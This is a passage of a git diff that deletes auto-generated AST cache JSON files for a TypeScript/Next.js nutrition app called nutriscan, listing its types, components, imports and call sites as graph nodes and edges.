-{"nodes": [{"id": "d_documents_github_nutriscan_lib_types_ts", "label": "types.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L1"}, {"id": "lib_types_productfilters", "label": "ProductFilters", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L6"}, {"id": "lib_types_filteroption", "label": "FilterOption", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L56"}, {"id": "lib_types_nutritiongrade", "label": "NutritionGrade", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L64"}, {"id": "lib_types_novagroup", "label": "NovaGroup", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L71"}, {"id": "lib_types_sortoption", "label": "SortOption", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L78"}, {"id": "lib_types_filterstate", "label": "FilterState", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L85"}, {"id": "lib_types_filtersidebarprops", "label": "FilterSidebarProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L92"}, {"id": "lib_types_nutrition_grades", "label": "NUTRITION_GRADES", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L101"}, {"id": "lib_types_nova_groups", "label": "NOVA_GROUPS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L134"}, {"id": "lib_types_sort_options", "label": "SORT_OPTIONS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L161"}, {"id": "lib_types_popular_categories", "label": "POPULAR_CATEGORIES", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L237"}, {"id": "lib_types_popular_categories_with_icons", "label": "POPULAR_CATEGORIES_WITH_ICONS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L253"}, {"id": "lib_types_common_allergens", "label": "COMMON_ALLERGENS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L269"}, {"id": "lib_types_common_additives", "label": "COMMON_ADDITIVES", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L282"}, {"id": "lib_types_paginationstate", "label": "PaginationState", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L293"}, {"id": "lib_types_paginationconfig", "label": "PaginationConfig", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L302"}, {"id": "lib_types_cacheprogress", "label": "CacheProgress", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L309"}, {"id": "lib_types_searchcacheconfig", "label": "SearchCacheConfig", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L318"}, {"id": "lib_types_paginationprops", "label": "PaginationProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L325"}, {"id": "lib_types_cachedproduct", "label": "CachedProduct", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L337"}, {"id": "lib_types_storagestats", "label": "StorageStats", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L369"}, {"id": "lib_types_cachesearchresult", "label": "CacheSearchResult", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L376"}, {"id": "lib_types_cachefile", "label": "CacheFile", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L383"}, {"id": "lib_types_optimizedimageprops", "label": "OptimizedImageProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L392"}, {"id": "lib_types_imageloadtask", "label": "ImageLoadTask", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L410"}, {"id": "lib_types_imageloadingstate", "label": "ImageLoadingState", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L418"}, {"id": "lib_types_useoptimizedimageloadingoptions", "label": "UseOptimizedImageLoadingOptions", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L426"}], "edges": [{"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_productfilters", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_filteroption", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L56", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_nutritiongrade", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L64", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_novagroup", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L71", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_sortoption", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L78", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_filterstate", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L85", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_filtersidebarprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L92", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_nutrition_grades", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L101", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_nova_groups", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L134", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_sort_options", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L161", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_popular_categories", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L237", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_popular_categories_with_icons", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L253", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_common_allergens", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L269", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_common_additives", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L282", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_paginationstate", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L293", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_paginationconfig", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L302", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_cacheprogress", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L309", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_searchcacheconfig", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L318", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_paginationprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L325", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_cachedproduct", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L337", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_storagestats", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L369", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_cachesearchresult", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L376", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_cachefile", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L383", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_optimizedimageprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L392", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_imageloadtask", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L410", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_imageloadingstate", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L418", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_types_ts", "target": "lib_types_useoptimizedimageloadingoptions", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\types.ts", "source_location": "L426", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/f6af76a9886841e71eea5b11660c78d53ee1e4e765348ca914636b1c74896fc4.json b/graphify-out/cache/ast/f6af76a9886841e71eea5b11660c78d53ee1e4e765348ca914636b1c74896fc4.json
deleted file mode 100644
index dd2c782..0000000
--- a/graphify-out/cache/ast/f6af76a9886841e71eea5b11660c78d53ee1e4e765348ca914636b1c74896fc4.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_components_valuessection_tsx", "label": "ValuesSection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ValuesSection.tsx", "source_location": "L1"}, {"id": "components_valuessection_protocols", "label": "PROTOCOLS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ValuesSection.tsx", "source_location": "L3"}, {"id": "components_valuessection_valuessection", "label": "ValuesSection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ValuesSection.tsx", "source_location": "L26"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_components_valuessection_tsx", "target": "components_valuessection_protocols", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ValuesSection.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_valuessection_tsx", "target": "components_valuessection_valuessection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ValuesSection.tsx", "source_location": "L26", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_valuessection_valuessection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ValuesSection.tsx", "source_location": "L44"}, {"caller_nid": "components_valuessection_valuessection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ValuesSection.tsx", "source_location": "L79"}, {"caller_nid": "components_valuessection_valuessection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ValuesSection.tsx", "source_location": "L119"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/f8b13bf7e887c46c9d856a60aabdf3cb7da09e44ebe16bb8efd3cdebb5c87aeb.json b/graphify-out/cache/ast/f8b13bf7e887c46c9d856a60aabdf3cb7da09e44ebe16bb8efd3cdebb5c87aeb.json
deleted file mode 100644
index 9462e56..0000000
--- a/graphify-out/cache/ast/f8b13bf7e887c46c9d856a60aabdf3cb7da09e44ebe16bb8efd3cdebb5c87aeb.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_footer_tsx", "label": "Footer.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L1"}, {"id": "components_footer_footer_links", "label": "FOOTER_LINKS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L8"}, {"id": "components_footer_footer", "label": "Footer()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L22"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_footer_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_footer_tsx", "target": "link", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_footer_tsx", "target": "image", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_footer_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_footer_tsx", "target": "components_footer_footer_links", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_footer_tsx", "target": "components_footer_footer", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L22", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_footer_footer", "callee": "getFullYear", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L23"}, {"caller_nid": "components_footer_footer", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L69"}, {"caller_nid": "components_footer_footer", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\Footer.tsx", "source_location": "L86"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/f914300e7fa583c8fdeb4c73df908fee3dc8854b7347d6dfa38208ee2ceaac55.json b/graphify-out/cache/ast/f914300e7fa583c8fdeb4c73df908fee3dc8854b7347d6dfa38208ee2ceaac55.json
deleted file mode 100644
index 4642e4f..0000000
--- a/graphify-out/cache/ast/f914300e7fa583c8fdeb4c73df908fee3dc8854b7347d6dfa38208ee2ceaac55.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_switch_tsx", "label": "switch.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\switch.tsx", "source_location": "L1"}, {"id": "ui_switch_switch", "label": "Switch", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\switch.tsx", "source_location": "L8"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_switch_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\switch.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_switch_tsx", "target": "react_switch", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\switch.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_switch_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\switch.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_switch_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\switch.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_switch_tsx", "target": "ui_switch_switch", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\switch.tsx", "source_location": "L8", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/faa843987938c99cd4881c3ce50b0a53b4414011096c28dfc4ca12fd31c95bfd.json b/graphify-out/cache/ast/faa843987938c99cd4881c3ce50b0a53b4414011096c28dfc4ca12fd31c95bfd.json
deleted file mode 100644
index 4a405f2..0000000
--- a/graphify-out/cache/ast/faa843987938c99cd4881c3ce50b0a53b4414011096c28dfc4ca12fd31c95bfd.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "label": "SortDropdown.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L1"}, {"id": "components_sortdropdown_sort_icons", "label": "SORT_ICONS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L29"}, {"id": "components_sortdropdown_sortdropdownprops", "label": "SortDropdownProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L47"}, {"id": "components_sortdropdown_sortdropdown", "label": "SortDropdown()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L54"}, {"id": "components_sortdropdown_sorttoggleprops", "label": "SortToggleProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L125"}, {"id": "components_sortdropdown_sorttoggle", "label": "SortToggle()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L131"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L19", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L19", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "ui_dropdown_menu_dropdownmenu", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "ui_dropdown_menu_dropdownmenucontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "ui_dropdown_menu_dropdownmenuitem", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "ui_dropdown_menu_dropdownmenutrigger", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "d_documents_github_nutriscan_lib_types_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L26", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "lib_types_sort_options", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L26", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "components_sortdropdown_sort_icons", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L29", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "components_sortdropdown_sortdropdownprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L47", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "components_sortdropdown_sortdropdown", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L54", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "components_sortdropdown_sorttoggleprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L125", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_sortdropdown_tsx", "target": "components_sortdropdown_sorttoggle", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L131", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_sortdropdown_sortdropdown", "callee": "find", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L61"}, {"caller_nid": "components_sortdropdown_sortdropdown", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\SortDropdown.tsx", "source_location": "L85"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/fc962508ea6e8fa6dec6d9eda02ce9bc5ef82b96b8b57de030d9fa38cf926d6d.json b/graphify-out/cache/ast/fc962508ea6e8fa6dec6d9eda02ce9bc5ef82b96b8b57de030d9fa38cf926d6d.json
deleted file mode 100644
index 9d82112..0000000
--- a/graphify-out/cache/ast/fc962508ea6e8fa6dec6d9eda02ce9bc5ef82b96b8b57de030d9fa38cf926d6d.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_resultados_page_tsx", "label": "page.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L1"}, {"id": "resultados_page_convertfilterstorecord", "label": "convertFiltersToRecord()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L39"}, {"id": "resultados_page_grade_colors", "label": "GRADE_COLORS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L50"}, {"id": "resultados_page_resultadoscontent", "label": "ResultadosContent()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L58"}, {"id": "resultados_page_resultadospage", "label": "ResultadosPage()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L1068"}], "edges": [{"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_components_theme_toggle_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L14", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "components_theme_toggle_themetoggle", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L14", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L15", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_components_ui_sheet_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "ui_sheet_sheet", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "ui_sheet_sheetcontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "ui_sheet_sheetheader", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "ui_sheet_sheettitle", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\resultados\\page.tsx", "source_location": "L16", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_resultados_page_tsx", "target": "d_documents_github_nutriscan_app_components_filtersidebar_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": 